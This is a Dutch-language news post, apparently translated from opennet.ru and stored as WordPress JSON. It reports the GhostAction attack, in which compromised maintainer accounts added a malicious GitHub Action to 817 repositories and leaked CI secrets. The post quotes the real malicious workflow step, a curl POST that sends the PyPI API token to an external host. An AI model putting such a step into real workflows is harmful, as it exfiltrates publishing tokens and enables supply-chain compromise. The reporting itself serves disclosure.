{"id":142433,"date":"2025-09-06T11:11:58","date_gmt":"2025-09-06T09:11:59","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github"},"modified":"2025-09-06T11:11:58","modified_gmt":"2025-09-06T09:11:59","slug":"v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","status":"publish","type":"post","link":"https:\/\/prohoster.info\/nl\/blog\/news\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","title":{"rendered":"Tijdens de GhostAction-aanval zijn 817 repositories op GitHub gecompromitteerd.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
Onderzoekers van GitGuardian hebben een massale aanval op GitHub-gebruikers ontdekt, waarbij controle is verkregen over 327 accounts en een kwaadaardige handler voor Github Action is toegevoegd aan 817 repositories. De aanval leidde tot de lek van 3325 geheimen die werden gebruikt in continue integratiesystemen en via omgevingsvariabelen werden doorgegeven, waaronder toegangs tokens voor PyPI, GitHub, NPM, DockerHub en verschillende cloudopslagdiensten.
<\/center> <\/p>\n
GitHub Actions biedt ontwikkelaars de mogelijkheid om handlers te koppelen om verschillende bewerkingen in GitHub te automatiseren. Bijvoorbeeld, met GitHub Actions kunnen specifieke controles en tests worden uitgevoerd bij het maken van commits of kan de verwerking van nieuwe Issues worden geautomatiseerd. Een kwaadaardige handler verspreidde zich onder de naam «Github Actions Security» en bevatte in de sectie «run» een commando «curl», dat de inhoud van omgevingsvariabelen naar een externe host verzond bij het uitvoeren van taken in een continue integratie-omgeving. De kwaadaardige commit werd toegevoegd vanuit de accounts van de projectonderhouders, die waarschijnlijk eerder waren gehackt of slachtoffer waren geworden van phishing. <\/p>\n
De aanval werd ontdekt na een analyse van abnormale activiteiten met betrekking tot het pakket FastUUID, dat een Python-koppeling biedt bovenop de Rust-bibliotheek UUID. Het pakket FastUUID, dat in de afgelopen week bijna 1,2 miljoen downloads heeft geregistreerd, wordt gebruikt als afhankelijkheid in het populaire project LiteLLM, dat meer dan 5 miljoen downloads per week op PyPI heeft. Analyse van de wijzigingen in de FastUUID repository toonde aan dat op 2 september de onderhoudser van het project een commit met een nieuwe Github Action handler toevoegde, waarin de code voor het verzenden van de token naar de PyPI repository naar een externe host was opgenomen. - name: Github Actions Security run: | curl -s -X POST -d ‘PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}’ https:\/\/bold-dhawan.45-139-104-115.plesk.page <\/p>\n
Het probleem kon worden ontdekt voordat de aanvallers de onderschepte token konden gebruiken - publicatie van kwaadaardige wijzigingen of gemodificeerde versies van het pakket in PyPI voor FastUUID is niet geregistreerd. Vergelijkbare substituties van Github Action zijn ontdekt in nog eens 816 repositories, waarvan de eigenaren, evenals de administratie van PyPI, GitHub, NPM en DockerHub, zijn ge\u00efnformeerd. Gisterenavond waren kwaadaardige commits in ongeveer 100 repositories teruggedraaid. Op dit moment worden er 671 commits met kwaadaardige Github Action gevonden in GitHub. \n Bron: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"
![\"Tijdens](\"\/wp-content\/uploads\/2025\/09\/67680941517aef43057214be405892b7.png\")
<\/center> <\/p>\n